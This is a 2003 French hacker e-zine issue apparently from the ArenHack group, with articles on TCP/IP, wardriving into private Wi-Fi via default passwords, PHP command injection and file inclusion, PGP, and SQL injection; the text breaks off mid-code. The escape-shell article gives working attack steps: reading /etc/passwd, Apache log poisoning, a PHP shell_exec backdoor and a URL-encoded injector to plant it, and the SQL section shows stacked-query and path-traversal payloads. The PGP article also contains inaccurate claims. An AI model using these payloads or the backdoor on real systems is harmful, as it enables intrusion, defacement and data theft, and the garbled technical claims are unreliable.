4.La trame de données est convertie en une chaîne de bits confiée au réseau.

 

IV. Conclusion

Et voilà c'est terminé pour cette introduction à TCP/IP (1ère partie), j'espère avoir été assez clair mais si quelque chose vous échappe vous pouvez toujours poser vos questions à MIB@ArenHack.com ou m'écrire à Clad@ArenHack.com

Dans la deuxième partie ,qui paraîtra dans M.I.B #2, je parlerai de la couche accès réseau et transport ainsi que des protocoles qui les composent, des différents types de réseau ainis que de leur équipement, des protocoles TCP et UDP et je terminerai par la sécurité sous TCP/IP où je parlerai de cryptographie théorique ainsi que des problèmes de sécurité.

CL@D

Copyrirght © 2003 ArenHack

Voici l'oeuvre sur laquelle je me suis basé pour réalisé cette introduction à TCP/IP (1ère partie) :

Teach yourself TCP/IP Second Edition in 24 hours par Joe CASAD

 

_________________________________________________________________________________________________________

 

------/~~~~~~~~~~~~~~~~~~~~~~~~~~~~\
---------=< |- Wireless Network Introduction -| >=--
------\~~~~~~~~~~~~~~~~~~~~~~~~~~~~/


I. Introdution

Le réseau wireless c'est à dire le réseau sans fil.
Il existe deux facettes à l'utilisation des points d'accès des réseaux sans fil à la norme 802.11.

La première plutot sympathique, est l'établissement d'un noubeau réseau internet gratuit et coopératif, le MAN( Metrpolitan Access Network). Le premier réseau coopératif fut crée en juin 2000 à Seattle.

La seconde, plus classique, est l'établissement d'un réseau dans un environnement domestique ou professionnel pour éviter les cablages complexes.

Dans ce tutorial notre sujet d'étude va être le réseau sans fil privé, avec ses failles et voir comment rentrer dans un réseau sans fil sans grosse difficultée.

 

II. Comment marche un réseau coopératif?

Le principe est simple : chaques utilisateurs qui installent un point d'accès à la norme 802.11 ouverte au public doit s'enregister auprès d'un site, qui diffuse leurs coordonnées. En europe la plus grosse base de données et maintenue par nodeb.com

Ce type de réseau est théoriquement interdit en France, mais comment arrêter des ondes?

Le sans fil public n'est pas du hacking, mais un Internet gratuit astucieux! c'est aussi un point d'accès pour les pirates, facile ,furtif et discret.


III. Le réseau sans fil privé

Rentrons maintenant dans le vive du sujet. Le réseau sans fil privé mais qui est par la force des choses publique puisque on ne peut pas encore arrêter les ondes.

Donc si on s'installe dans la rue, en bas d'un immeuble qui a un réseau sans fil, on peut en théorie devenir membre de ce réseau puisqu'il bénéficie par la voie des airs d'une ligne à 11 Mbits à laquelle il accède librement. On pourra utiliser la ligne internet, les ressources....

Cette technique de surf sur Internet au gré des réseaux à pirater s'appelle WarDriving.


IV. Les failles de ce réseau

Les réseaux privés ne sont pas à accès libre. Comme les bornes publiques. Mais c'est un peu prêt pareil. Vu le grand nombre de failles.
Chaque périphérique 2.11 est protégé par une clé qui est soit un mot de passe, soit une clé dérivée de ce mot de passe.
Cette même clé est utilisé par toute station ou périphérique accédant au réseau via la norme 802.11.

Mais bien sur, ce type de codage contient plusieurs failles.

La première, c'est l'algorithme de chiffrement RC4. Bien connu car assez facile à cracker. Mais nous n'allons pas y revenir.
Peut être que dans l'un de mes prochain tutorial je parlerai de cet algo.

La seconde faille réside dans la méthode d'implémentation du chiffrement RC4, et plus précisement dans le mode de mise en oeuvre de ces vecteurs d'initialisation.

Et le dernier point faible : offrant un accès à 11Mbits sur une station exterieur, consiste à faire tourner un cracker de mot de pass sans se faire détecter, avec une vitesse de plusieurs centaines de milliers de clé seconde.

Les outils de piratage de réseaux sans fil sont encore rares sur internet.(Mais ca arrive sur la toile.)
Pas besoin de ces logiciels pour rentrer sur un réseaux sans fil. Car la plupart des réseau adoptent par défaut un mot de pass constructeur nous laissant donc une grosse brèche.

 

V. Méthodes

 

Tableau d'une configuration par défaut :

Ip adresse
192.168.2.1 ou 192.168.0.1
Password
None
SSID
Default
WEP
Disabled
Passphrase
n/a
Channel
6
MAC Filters
None

 

 

Tableau d'une configuration légère :

Ip adresse
192.168.2.1 ou 192.168.0.1
Password
Mot de pass d'usine
SSID
TestSMC (exemple de SSIDssid d'usine)
WEP
64-bit enabled
Passphrase
Identique mot de pass d'usine
Channel
6
MAC Filters
00.07.F2.63.32.9E


Donc il suffit de trouver un réseau avec un scanner et de tester quelques configurations d'usine pour entrer sans trop de mal sur ce réseau.

Scanner pour Unix : DsTrumbler ou Wellenreiter (avec crackeur de mot de pass par Brute Force)
Scanner pour Windows : Aérosol et NetSumbler.

Ces programmes vont scanner les fréquences 802.11 présentent dans votre entourage et fournir un emsemble de renseignement tel que : canal, configuration, MAC, SSID, canal utilisé, nom du Fabriquant.
Pour utiliser ses logiciels il faut bien sur une carte Wireless et un ordinateur portable (sauf si vous voulez pirater votre propre réseau sans fil).

 

Pour m'écrire thetchesk@arenhack.com

The Tchesk -for Arenhack©

_________________________________________________________________________________________________________

------

------/~~~~~~~~~~~~~~~~~~\
---------=< |- Escape Shell for All-| >=--
------\~~~~~~~~~~~~~~~~~~/

 

I. Introduction


L'escape shell est une sortie sur un shell. Techniquement, un escape shell est une vulnérabilité qui se produit quand toutes les conditions d'un événement ne sont pas envisagées. On peut alors provoque une séquence clavier, qui sera exécutée au lieu d'être considéré comme dangereuse et bannie. Quand certains caractères ne sont pas filtré en cgi ou php, on abouti sur une séquence qui est interprété comme étant une commande shell.

Les conséquences sont des plus dramatiques... C'est comme ça que le célébrissime site de hack madchat.org s'est fait defacer il y a trois ans.

Cet article ne présente aucune nouvelle méthode, mais est juste une introduction général (avec de la pratique) sur les escapes shells.


II. ESCAPE SHELL

Le PHP ets un langage très performant. Il permet d'obtenir des informations, voire un accès à un système. Il est donc de ce fait vital pour tout administrateur et webmaster.

Ce langage possède une fonction system() permettant d'utiliser directement des commandes systèmes. Les conséquences de son utilisation sont dangereus. En effet, si on détourne un script qui utilise cette fonctions, on aura un access partiel sur le serveur (complet, non : c'est de plus en plus rares un httpd root.

Imaginons ce script :

<?
$upt = "uptime";
echo system($upt);
?>

Ici, on affiche l'uptime du serveur, pour des stats par exemple. Si on consulte ainsi: http://www.arenhack.com/system.php?upt=uptime, on obtient bien les stats. Or, si on détourne la fonction ainsi :

http://www.arenhack.com/system.php?upt=cat%20/etc/issue, on affiche : Red Hat Linux 9.2 Kernel 2.4.2-2 ...

En fait, comme on le voit, on peut se servir de ce script php comme d'un remote shell (un shell à distance) ayant les droits du démon httpd (souvent, cela implique les droits de roots). Evidemment, personne n'utilisera cette fonction ainsi, cependant, on peut détourner system() d'une manière plus intelligente et qui est plus courante surle Web. C'est l'utilisation des caractères spéciaux.

Soit le script php suivant :

<?echo system("coucou");
?>

Si on entre : http://www.arenhack.com/system.php?coucou | /bin/ls , la deuxième command "/bin/ls" sera exécutée par system et listera ce qu'il y a sur le serveur... Ainsi, les caratcères spéciaux qui ne sont pas filtrés peuvent être utilisés pour provoquer des escapes shells. On pourra solutionner le problème avec un tel filtre :

if ((strstr($cmd, "|") {
echo "Carcatère interdit";
break();
}

 


II. ESCAPE SHELL INTERRESSANTS SOUS APACHE

Techniquement, la faille include() fait partie des escapes shells, puisqu'en modifiant l'url on peut sortir sur un
shell, en obtenant une accès partiel au système.

Prenons un exemple type de faille include :

<?
include("config.php");
include("header.php");
if(file_existes($page))
include($page);
else
include("erreur404.php");
include("footer.php"); // fermeture du script
?>

 

Admettons qu'on veut tester si un tel script est vulnérable. Dans un premier temps, on vérifiera s'il permet le passage de path en argument :

http://www.arenhack.com/index.php?page=

Si cette url renvoie une erreur, c'est que le script accepte le passage de path en argument on obtient ici une faille include en profitant d'un escape shell, si le site exécute une tierce page :

http://www.arenhack.com/index.php?page=http://www.google.fr.

 

La chose devient plus coriace si l'on attaque ainsi :

http://www.arenhack.com/toto.php?page=$file;fopen("index.php", w);fputs("Owned by GrOsLaMeUrS");fclose("index.php");

Ici, on "deface" littéralement la page index.php en rempalçant le texte par notre jolie phrase poétique : "Owned by GrOsLaMeUrS". C'est ainsi, que security-info.org s'est fait defacer il y a quelques mois. On se prémunira de ce genre d'attaque en chownant correctement les répertoires et les fichiers concernés.
Cette faille est très dangereuse. On notera que defacer dans ce cas est stupide puisqu'on peut faire beaucoup
mieux. Décortiquons un peu plus.
Il serait de cette façon aisé de récupérer /etc/passwd du serveur. Ainsi http://www.arenhack.com/index.php?page=/etc/passwd permettra d'obtenir quelque chose ressemble à ça :

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:


Je ne vous le fais pas dire, ceci sera strictement inutile car vous ne trouverez plus sur le Net des /etc/passwd qui ne sont pas shadowed... Mais, on peut récupérer des informations. L'utilité ? Eh bien, sion sait que le serveur
tourne sur Apache, qu'on connait la version et l'OS précis, on pourra connaître à quelle faille ce serveur est vulnérable et, dès lors, le root du serveur sera rendu beaucoup plus aisé. Ce genre de path passé en argument nous donnera des informations très précieuses :

http://www.arenhack.com/index.php?page=/etc/inetd.conf

http://www.arenhack.com/index.php?page=/etc/issue

http://www.arenhack.com/index.php?page=/etc/motd

http://www.arenhack.com/index.php?page=/proc/cpuinfo


III. OBTENIR UN REMOTE SHELL

En réutilisant le même exemple que précédemment, voyons comment obtenir un remote shell sur le serveur avec les permissions du serveur http.

Il faut commencer par localiser le fichier de log de Apache : http://www.arenhack.com/index.php?page=/usr/local/apache/conf/httpd.conf

Le serveur va afficher des informations dont ces lignes :

DocumentRoot /home/www/arenhack/cgi-bin/ arenhack
ServerName files.arenhack.com
ScriptAlias /cgi-bin/ /home/www/arenhack/cgi-bin/ arenhack
ErrorLog logs/arenhack.com-error_log
CustomLog logs/files.arenhack.com-access_log combined
ServerAdmin webmaster@arenhack.com

On peut ainsi consulter le fichier de log arenhack.com-error_log...
Si on teste une requête qui ne marche pas ">http://www.arenhack.com/<?echo"tarlouse";?>, une ligne de plus s'affichera
dans le fichiers de log...

Par conséquent, si on y réfléchit, on peut écrire dans le fichier log... L'idée est d'y balancer un code exécutable. Comment ? Il suffit de le convertir en url-encode
voici un code en C qui convertit un char ascii en char url-encodé :

 

Pour la commande "<? system("ls"); ?>", on obtient : %3c%3f%20system%28%22ls%20%2dal%22%29%3b%20%3f%3e

Provoquons l'erreur pour placer notre code dans le fichier de log : ">http://www.arenhack.com/%3c%3f%20system%28%22ls%20%2dal%22%29%3b%20%3f%3e

On consulte la page de log http : http//www.arenhack.com/index.php?page=/usr/local/apache/logs/arenhack.com-error_log

et on obtient :

drwxr-xr-x 7 Nocte Nocte 4096 mer 20 00:00
...


Ainsi, le code sera interprété. On pourra donc attaquer un tel serveur en utilisant la fonctIon system() pour
obtenir une sorte de remote shell. Ensuite, il faut écrire une backdoor php :

<?=str_replace("?","!",shell_exec($cmd));?>

Placé dans un fichier php, on peut lui envoyer des commandes de la sorte :

http://www.serveurweb.com/fichier.php?cmd=uname+-a par exemple.

Enfin, le plus coriace, est de programmé l'injecteur de la backdoor. N'oubliez pas de traduire tous ces codes en url-encode :

%22);fclose($fp);?%3E%20">http://www.arenhack.com/index.php?page=<?$fp=fopen("/home/www/arenhack/cgi-bin/index.php","w+");fputs($fp,"<?=str_replace(\"?\",\"!\",shell_exec(\$cmd));?>");fclose($fp);?>

Ici, il faut trouver un fichier à ouvrir qui soit vulnérable forcément et world-writable. Enfin, il ne manque plus que accéder aux logs. Dès lors, on peut faire ce qu'on veut :

- pour créer un répertoire invisible : http://www.arenhack.com/index.php?cmd=mkdir+/var/.mom/


Cette faille est donc très importante. Pour la colmater, il faut procéder au même traitement que pour la faille include en chownant le répertoire correctement, cela afin d'éviter que l'utilisateur httpd ne puisse accéder aux
fichiers en dehors de htdocs (sa racine). Il vous mieux aussi installer Apache dans un autre répertoire que celui par défaut. On peut aussi parser les slashs pour ne pas changer de répertoire :

$page = ereg_replace("/","toto")

Il faut faire beaucoup de php pour maîtriser ce genre de faille. Par exemple, si cette page http://www.arenhack.com/index.php?toto= , renvoie cette erreur :

Fatal error: input in flex scanner failed in /home/apache/www on line 1

Cela signifie qu'on a :

<? include($toto);?>

C'est-à-dire qu'on peut passer directement un path a toto.

Même s'il n'existe pas de moyen publique et connue d'exploiter un include php pour lancer une appli en remote, mieux vaut évitez d'utiliser include et préférez des équivalent comme require().

N'oubliez pas aussi de regarder du côté du custom log (le deuxième log), on peut parfois exécuter du code àl'intérieur, comme pour le premier fichier de log.


IV. VOILA

Bref, cet article vous a présenté quelques méthodes d'escapes shells pouvant s'avérer néfastes pour un serveur.

N'essayez pas d'attaquer le serveur Arenhack de la sorte, toutes les informations fournis à son propos dans cet article sont toutes erronées. N'oubliez pas que, tout ça c'est pour le fun, et que l'essentiel est de comprendre ces techniques, afin de pouvoir se prémunir et mieux sécuriser les systèmes.


Have fun,
Nocte [DHS] / For ArenHack Team -- M.I.B. #1
greetz : medgi (subk), MeiK (IOC), etherlord (DHS), CL@D & SpS6m3N (AH)

--[EOF]--

 

_________________________________________________________________________________________________________

------/~~~~~~~~~~~~~~~~\
---------=< |- PGP Introducing-| >=--
------\~~~~~~~~~~~~~~~~/

 

I. Introduction

Pretty Good Privacy (PGP) est un programme gratuit de protection du courrier électronique conçu en 1991 par Philip Zimmermann. Sa philosophie est que tout individu a droit à la confidentialité, notamment les organisations des droits de l'homme dans des pays soumis à la dictature ; et c'est plutôt pas mal de nos jours . C'est dans cette optique qu'il a créé PGP et qu'il l'a mis à disposition gratuitement sur Internet . Cela lui a valu de sérieux ennuis avec la justice américaine, car les logiciels de cryptage sont considérés comme du matériel de guerre ( )et sont interdits à l'exportation. Après bien des démêlés judiciaires, on lui donna gain de cause, et bien heureusement !

 

II. Fonctionnement de PGP

PGP est une combinaison des fonctionnalités de la cryptographie à clef publique et de la cryptographie conventionnelle. PGP est un système de cryptographie hybride, c'est à dire qu'il utilise à la fois le calcul numérique et le calcul analogique(= représenté par la variation continue d'une certaine grandeur). Lorsqu'un utilisateur crypte du texte en clair avec PGP, ces données sont d'abord compressées. Cette compression des données permet de réduire le temps de transmission par modem, d'économiser l'espace disque et, surtout, de renforcer la sécurité cryptographique. La plupart des cryptanalystes exploitent les modèles trouvés dans le texte en clair pour casser le chiffrement. La compression réduit ces modèles dans le texte en clair, améliorant par conséquent considérablement la résistance à la cryptanalyse. Toutefois, la compression est impossible sur les fichiers de taille insuffisante ou supportant mal ce processus.

PGP crée ensuite une clef de session qui est une clef secrète à usage unique. Cette clef correspond à un nombre aléatoire, généré par les déplacements aléatoires de votre souris et les séquences de frappes de touches. Pour crypter le texte en clair, cette clef de session utilise un algorithme de cryptage conventionnel rapide et sécurisé. Une fois les données codées, la clef de session est cryptée vers la clef publique du destinataire. Cette clef de session cryptée par clef publique est transmise avec le texte chiffré au destinataire.
Pour crypter et décrypter, PGP utilise deux algorithmes distincts : l'IDEA : un algorithme à clé symétrique et le RSA : un algorithme à clé asymétrique.
L'opération de cryptage se fait donc en 2 étapes principales :
- PGP crée tout d'abord une clé secrète IDEA de manière aléatoire, et crypte les données avec cette clé.
- PGP crypte ensuite la clé secrète IDEA (précédemment créée) au moyen de la clé publique RSA du destinataire.
De même, l'opération de décryptage se fait elle aussi en 2 étapes :
- PGP décrypte la clé secrète IDEA au moyen de la clé privée RSA.
- PGP décrypte les données avec la clé secrète IDEA précédemment obtenue.
C'est la combinaison algorithme symétrique (IDEA pour crypter les données) / algorithme asymétrique (RSA pour crypter la clé IDEA) qui confère à PGP sa vitesse et sa grande sécurité.


Deux schémas pour illustrer ces quelques lignes :

Le processus de décryptement est inverse. La copie de PGP du destinataire utilise sa clef privée pour récupérer la clef de session temporaire qui permettra ensuite de décrypter le texte crypté de manière conventionnelle.

 

Pour voir les schémas distinctement :
1er Schéma
2ème Schéma


Ces deux méthodes de cryptage associent la facilité d'utilisation du cryptage à clef publique à la vitesse du cryptage conventionnel. Le cryptage conventionnel est environ 1000 fois plus rapide que le cryptage à clef publique. De plus, le cryptage à clef publique résout non seulement le problème de la distribution des clefs, mais également de la transmission des données. Utilisées conjointement, ces deux méthodes améliorent la performance et la distribution des clefs, sans pour autant compromettre la sécurité.

 

III. Distribution

Il existe plusieurs versions versions de PGP, certaines freeware et d'autres commerciales.

Après une mise au rancart prématurée des versions commerciales par Network Associates, une nouvelle compagnie nommé PGP Corporation semble avoir pris le relais (et les droits) pour développer les fonctionnalités corporatives avancées de cet outil. Toutefois les versions commerciales sont développées sans partager le code source (ce qui pour un logiciel d'encryption est inquiétant ), tandis que la version gratuite offerte n'a pas toutes les fonctionnalités requises. Il n'y a donc aucune utilité d'installer une version commerciale sur votre ordinateur.

Il existe plusieurs "versions" de PGP pour Windows en freeware. Elles se ressemblent tous parce que le code source est public. Trois distributions dominent:

1) Celle, limitée, de PGP Corporation
2) Celles disponibles sur http://www.pgpi.org/
3) Celles nommées "CKT" disponibles sur http://www.ipgpp.com/

Qu'importe la version, elles sont gratuites et elles marcheront bien pour un usage de base.

Plusieurs vétérans préfèrent néanmoins la version CKT qui incorpore une fonctionnalité qui n'apparaissait que dans la version commerciale de PGP, soit l'extension PGPDisk qui permet de faire des "disques virtuels" encryptés( un peu comme Steganos Security Suite 4 )

 

Lien direct download :

http://www.pcastuces.com/telechargement.aspnum=22
http://www.pgp.com/
http://www.gnupg.org/ (GNU)

 

 

IV. Vunlérabilité ?

Pour eEye Digital Security (l’éditeur de solutions logicielles phare en matière de sécurité réseau et l’un des leaders de la recherche et de la formation dans ce domaine. Ses produits sont axés sur la sécurité « proactive » et intègrent des fonctions particulièrement adaptées aux besoins des administrateurs réseau et des consultants sécurité. Ils complètent parfaitement les outils classiques tels que les firewalls et les systèmes de détection d’intrusions pour assurer une protection réseau à toute épreuve. ) , PGP serait vulnérable : une faille permettrait de s'introduire sur l'ordi d'un utilisateur PGP et de déchiffrer les messages codés. Selon les découvertes de l'ingénieur Aliso Viejo de eEye Digital Security, les logiciels de Network Associates, PGP Desktop Security 7.0.4, PGP Personal Security 7.0.3 et PGP Freeware 7.0.3 pourraient être concernés....

 

V. Conclusion

PGP (Pretty Good Privacy) est un puissant outil de cryptage de données fait par un vrai passionné qui est resté de glace devant les obstacles posés devant lui (merci à lui ) . PGP permet de chiffrer des informations afin de ne les rendre accessibles qu'aux destinataires désignés.
Le fonctionnement de PGP repose sur l'utilisation de deux clés complémentaires : une clé publique et une clé privée.
A la fois gratuit et puissant, PGP assure une parfaite confidentialité des données et semble être un des meilleurs logiciels en matière de cryptage.

JaCkEr

Copyright © 2003 ArenHack

Sources :
http://www.philzimmermann.com/
http://www.pgpi.org/
http://www.openpgp.fr.st/
http://www.jura.ch/

 

_________________________________________________________________________________________________________

 

------/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\
---------=< |- SQL Injection : Black Hole Security-| >=--
------\~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/

 

Les différentes techniques d’injection se dérouleront de la façon suivante :

- I. Introduction
- II. Mam, what that mean SQL?
- III. Les différentes requêtes
- IV. Exploitation des failles

- _1) Inscription àune newsletter.
- _2)Post de news ou commentaires (architecture assez tordu)
- _3)Procédure d’authentification en PHP. (+ requêtes SQL liées au PHP)

- V. Sécurité
- VI. Conclusion
- VII. Sources, inspiration et remerciement

 

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =

 

I. Introduction

L’injection par requête SQL est une faille très rependue sur le Web qui est exploitable assez facilement par certains SK en manques de sensation…
L’injection SQL est un simple terme signifiant l’acte de passer dans une application un code SQL non prévu par le développer.
Elle est extrêmement dangereuse puisqu’elle permet de manipuler directement les bases de données des sites pouvant entraîné de nombreuses possibilités comme le vol de mot de passes, de données, utiliser les droits d’administrateur, modifier une newsletter, changement d’un post sur un forum, et j’en passe...
Mais avant tout rappelons que l’injection est possible a cause d’un mauvais filtrage au niveau de l’entré de l’utilisateur donc il est possible d’outre passe certaine protection SQL login/password... ;)

 

II. Mum, what that mean SQL ?

Par définition SQL (« langage d’interrogation structuré », de l’anglais « Structured Query Language ») est un langage qui vous permet de communiquer avec les bases de données?, pour se faire il faut envoyer une (des) requête(s) au serveur de base de données. La plupart du temps les requêtes sont faite grâce a des application en PHP/ASP/CFML/JSP...

 

III. Les différentes requêtes

Alter Table (Base de données et table)
Create Database (Base de données et table)
Create Function (User Defined Functions)
Create Index (Manipulation des données)
Create Table (Base de données et table)
Delete (Manipulation des données)
Describe (Information sur les bases)
Drop Database (Base de données et table)
Drop Function (User Defined Functions)
Drop Index (Manipulation des données)
Explain (Information sur les bases)
Flush (Manipulation des données)
Grant (Gestion des droits d'accès)
Insert (Manipulation des données)
Kill (Manipulation des données)
Load Data (Manipulation des données)
Lock Tables (Gestion des droits d'accès)
Optimize Table (Base de données et table)
Replace (Manipulation des données)
Revoke (Gestion des droits d'accès)
Select (Manipulation des données)
Set (Information sur les bases)
Show (Information sur les bases)
Unlock Tables (Gestion des droits d'accès)
Update (Manipulation des données)
Use (Base de données et table)

 

IV. Exploitation des failles de programmations

Bon alors on commence par quoi ? Y’en à tellement mais moi j’opterai plutôt pour commencer par des bases en SQL (maniement des données) puis après le plus simple pour un peut vous échauffer, inscription a une newsletter, puis après une procédure d’authentification en PHP, et après on verra ;)

1) Newsletter

Pour ce cas de figure on va directement communiquer avec la base de donnée ;)
On va commencer tranquillement avec cette mise en situation : soit la table (My) SQL « newsletter » comportant 2 champs a remplir, le nom (pseudo) et email (l’adresse email). Quelques commandes avant de s’attaquer a la faille :

Tout d’abord pour sélection la ligne et le nom ou pseudo « Skin » on va demander : « select * from newsletter where nom=’Skin’ »

Presque pareil, pour sélectionner l’email et le nom de la personne: “Skin” : « Select nom, email from newsletter where nom = ’Skin’ »

Pour remplacer l’email de la personne nommé Skin par Skin@arenhack.com: « update newsletter set email=’Skin@Arenhack.com’ where nom= ’Skin’ »

Pour effacer l’inscrit nommé Skin avec ses information bien sur (nom+email) : « delete from newsletter where nom=’Skin’ »

Pour la totale maintenant, exécuter plusieurs requête SQL sur une ligne il faut les finir par un « ; ». « delete from newsletter where nom=’Skin’; delete from newsletter nom=’Skin2’ »

Voila! C’est quand même ultra simple, je pense que vous comprenez mieux maintenant ;)

Maintenant passons aux l’explication :

Vous arrivez sur un site Web qui vous propose de vous inscrire à une newsletter, super non ?
Vous arrivez sur le même type de formulaire vue précédemment, c'est-à-dire nom plus email, par théorie vous allez remplir les 2 champs et vous inscrire normalement comme n’importe qui ;)
Mais sinon quand vous avez appuyer sur ce petit bouton « SEND » que c’est-il vraiment passer derrière ? C’est le genre de question que personne ne se pose ça encore !

Comme vu précédemment, le formulaire va envoyer un script a la base SQL qui va demander d’ajouter une ligne, ‘nom’ plus ‘email’.
Maintenant si on analyse le code source de la page, on pourra peut être tomber là-dessus :

<impute type=text name= "nom "><input type=text name= "email " >


Toujours la même chose, on suppose que le script va demander d’ajouter une ligne de la base de donnée SQL du site.
Admettons que Skin a tapé son nom et son email et qu’il a validé, la formulaire passer les variable a un script qui les interpréter et en faire des requêtes SQL sur le serveur de base de données.
Le script va rajouter une ligne dans la table newsletter de la façon suivante : (en PHP)

<?
Connexion au server SQL
mysql_query("insert into newsletter ('$nom','$email')"); //exécution de la requêtes
echo "Vous venez d\'être inscrit à la newsletter\n";
// ce script est basique mais c'est plus simple pour débuter
?>

Analysons ce code, on voit que les variables ($nom & $email) correspondent aux noms qu’on avait attribué au tag <input> du formulaire vu un peut plus haut en HTML.
Le script va donc exécuter la requête : « insert into newsletter (‘Skin’,’Skin@arenhack.com’) »

Voila, Skin a été ajouter a la base de données SQL, le codeur est content son script marche bien.

Mais ce n’est pas fini, car pour l’instant nous avons juste démontré que Skin était bien inscrit dans la base donnée SQL du serveur grâce à un scripte qui va interpréter les variables.Mais maintenant allons un peut plus loin dans l’exécution du script, essayons d’inscrire 2 personne en une seul fois.

Que va-t-il falloir faire pour inscrire 2 personnes en même temps ? IL va falloir qu’on exécute 2 requêtes SQL en même temps sur la même ligne séparer par un « ; »
Ce qui va donnée quelque chose dans ce genre :
"insert into newsletter ('billy','billy@billy.fr');insert into newsletter ('billy2','billy2@billy.fr')"

Donc si nous voulons exécuter ce type de requête sur un serveur SQL, il va falloir que notre script PHP l’exécute :

Nom : Skin
Email: « Skin@arenhack.com’);insert into newsletter (‘Skin2’,’Skin2@arenhack.com’)


Le but est “d’imbriqué” une nouvel requête SQL sur la même ligne dans notre variable $email
Je sais pas si vous m’avez suivit, mais c’était juste un exemple concret, c’est sure que maintenant vous aller pas vous amuser a inscrire 2 personne en une fois a une newsletter c’est sure. Mais vous avez appris les « bases » si je pourrais dire du stockage et du déplacement des données SQL.

Mais d’autres problèmes se posent :

Déjà dans le cas précèdent, c’était vraiment super simple puisqu’on connaissait déjà le nom de la table et en plus nous savions comment été structuré le script PHP.

Mais en réalité ce ne sont pas les seuls problèmes :

- Si nous ne connaissons pas la requête SQL et que le script l’aurai envoyé au serveur SQL alors nous airions une page d’erreur, donc déjà cette faille ne s’adapte pas dans tout les cas.
Ensuite pour écrire notre requête, nous ne possédons pas assez d’information car il y aurait très bien pu avoir un champ ID avant le nom et l’email ou tout autre chose donc nous ne connaissons pas l’existence.

En faite au départ, l’attaque est supers simple, mais elle est compromise par pas mal de facteur comme le type de la base de données, le nom de la table, le nom des champs, etc....comme je viens de vous le prouvez.
C’est pour cela que l’ont dit dans ce cas, que le serveur et une black box, une boite noir autrement dit.

Mais il y a un point que je n’est pas encore abordé, comment déceler ce genre de faille.
Cela peut être aussi important que pour le hacker, que pour le webmaster qui veut sécuriser son site.

- Alors d’abord analyser le code source de la page, pour se faire afficher le a partir de votre navigateur ou enregistrez le sur votre HD. Maintenant, regardez le nom des variable qui vont être envoyer et essayer de trouver des <input type=hidden> qui pourrait nous aider.

- Maintenant, on va faire comme tout a l’heure, mettez vous a la place du programmeur et le programmeur a la place du hacker vis versa.
Vous vous rappelez ce qu’on avait dit sur le nom de la table ? Un nom simple, pas « GHUYF89 », donc une faut un peut d’intuition pour trouver le bon nom de la table/champs.

- Maintenant essayer de provoquer une erreur lors de l’exécution du script, une requête qui n’est pas attendu par le serveur car si le script est mal codé vous pourrez voir la ligne de code afficher par votre browser ce qui vous permettra de voir le code source. Aussi vous pouvais utiliser une technique Buffer Overflow en mettant un maximum de données qui ne sont pas attendu par le serveur comme #|^^£*ù% !;: »’--_@ .
Mais avant même de vous épuiser a faire sa, taper ‘ou » dans un champs et si le serveur ne vous retourne aucune erreur, le script risque d’être sécurise a 99%?.

Apres avoir vue la technique du Buffer Overflow, il y a aussi celle d’utiliser un exploit sur le serveur Web pour récupéré le code source :

-Utilisez showcode.asp sur IIS installer par défaut (encore une connerie...)

- Si vous avez un script sur le serveur, ce sui st assez fréquent, qui permet de télécharger un fichier en passant par le nom en variable comme par exemple downloads.cgi ?file=fichier.zip il suffit d’un peut d’intelligence pour transformer le script en downloads.cgi ?file=fichier.zip qu’on veut sans oublier qu’il est peut être possible de remonter dans le répertoire downloads.cgi ?file=../../../etc/passwd.

2) Post de news

Dans certains sites (comme Arenhack.com) ou moteur de recherche laisse la possibilité a leurs visiteurs de poster une news ou même un commentaire. Dans certains scripts, l’utilisateur doit s’authentifier ce qui restreint le nombre de personnes indésirables. En revanche il existe encore plusieurs sites qui ne demandent pas d’authentification. Voici le code vulnérable :

if ( $action=="ajout" )
{
$date=date("Y/m/d H:i");
$ajout_sql = mysql_query("insert into $table (nom, auteur, email, texte, date) values ('$nom', '$auteur', '$email', '$texte', '$date')",$connexion);
}

Le formulaire transmet a la page le script une variable ‘hidden’. Si son contenue est ajout alors le script a pour valeur ajout alors, il va l’ajouter dans la base de données SQL. Le nom de la table est variable selon la news et lui correspond donc par exemple si il s’agit d’un commentaire sur la new 70 alors le nom de la table pourra être new_70.
Voici la pseudo faille qui peut effectivement paraître assez inutile mais assez embêtante pour les webmasters.

L’attaquant va poster un commentaire ‘fantôme’ (‘hidden’ vu plus haut), ainsi imaginons que la requête d’ajout de news soit :

http://arenhack/addcommentaire.php?newsID=70&nom=skin&email=skin@arenhack.com&texte=blablabla %200wnz%Thv69

Donc si la news numéro 70 existe, alors elle va être poster, or si elle n’existe pas elle va quand même être poster, ? là est le problème!

Bon, c’était vraiment un exemple tout con d’injection, bien sur c’est extrêmement rare de voir un script aussi mal coder, c’est même impossible, c’est juste à titre d’exemple !

Remarque :

Pour ceux qui auraient eu le déshonneur de coder ce genre de scripte voici comment le sécuriser :

$query = "SELECT * FROM table_news";
$requete = mysql_query($query);
$nb = mysql_numrows($requete);
if ( ($action=="ajout") && ($newsID < $nb) )
{
$date=date("Y/m/d H:i");
$ajout_sql = mysql_query(...);
}

3) Procédure d’authentification en PHP

Alors voila je vous expose au faits, on est dans un espace membre donc on est un peut aller traîner dans le fichier log_admin.php dans le fichier caché du site après avoir repéré les faille du service PHP. Et on se retrouve devant sa :

<?

include (« member/config.php) ;
if($pseudo=’’ || $password== ‘’)
{
[…]
exit;
}
db_connect();
$sql= mysql_query(“SELECT password FROM admin_conf where
login= ‘$pseudo’”);
$nb = mysql_num_rows($sql);

if($nb == 0)
{
echo “<center><h3>Mauvais Indentification</h3></center>”;
mysql_close();
exit;
}
else
{
$sql2 = “SELECT id_conf FROM admin_conf WHERE login = ‘$pseudo’”;
$req2 = mysql_query($sql2) or die(‘ Erreur SQL !
<br>’.$sql2.’<br>’.mysql_error());
$data2 = mysql_fetch_array($req2);
mysql_close();
$id_conf = $data2[‘id_conf’];
$expire = 365*24*3600;
setcookie(“admin”,”$pseudo”,time()+$expire,”/”,””);
setcookie(“id_conf”,”$id_conf”,time()+$expire,”/”,””);
session_start();
session_register(‘pseudo’);
session_register(‘admin_id’);
$_SESSION[‘log_admin’] = $pseudo;
$_SESSION[‘id_admin’] = $id_conf;
header(“Location: _admin/administration.php”);
}

?>

